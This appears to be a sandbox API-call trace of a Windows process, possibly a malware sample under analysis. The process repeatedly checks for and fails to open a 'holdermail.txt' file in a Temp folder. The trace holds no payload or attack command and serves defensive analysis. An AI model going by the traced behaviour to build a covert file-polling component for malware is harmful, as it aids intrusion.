	[0089.359] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.359] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.359] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.359] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.359] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.359] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.360] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.360] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.360] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.360] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.361] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.361] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.361] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.361] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.362] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.362] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.362] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.362] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.363] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.363] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.363] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.363] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.363] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.363] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.364] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.364] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.364] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.365] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.365] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.365] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.366] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.366] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.366] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.366] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.366] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.366] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.367] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.367] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.367] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.367] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.367] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.367] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.368] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.368] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.368] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.368] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.369] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.369] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.369] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.369] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.369] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.370] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.370] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.370] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.371] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.371] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.371] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.371] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.371] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.371] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.373] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.373] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.373] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.373] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.373] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.373] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.374] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.374] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.374] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.374] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
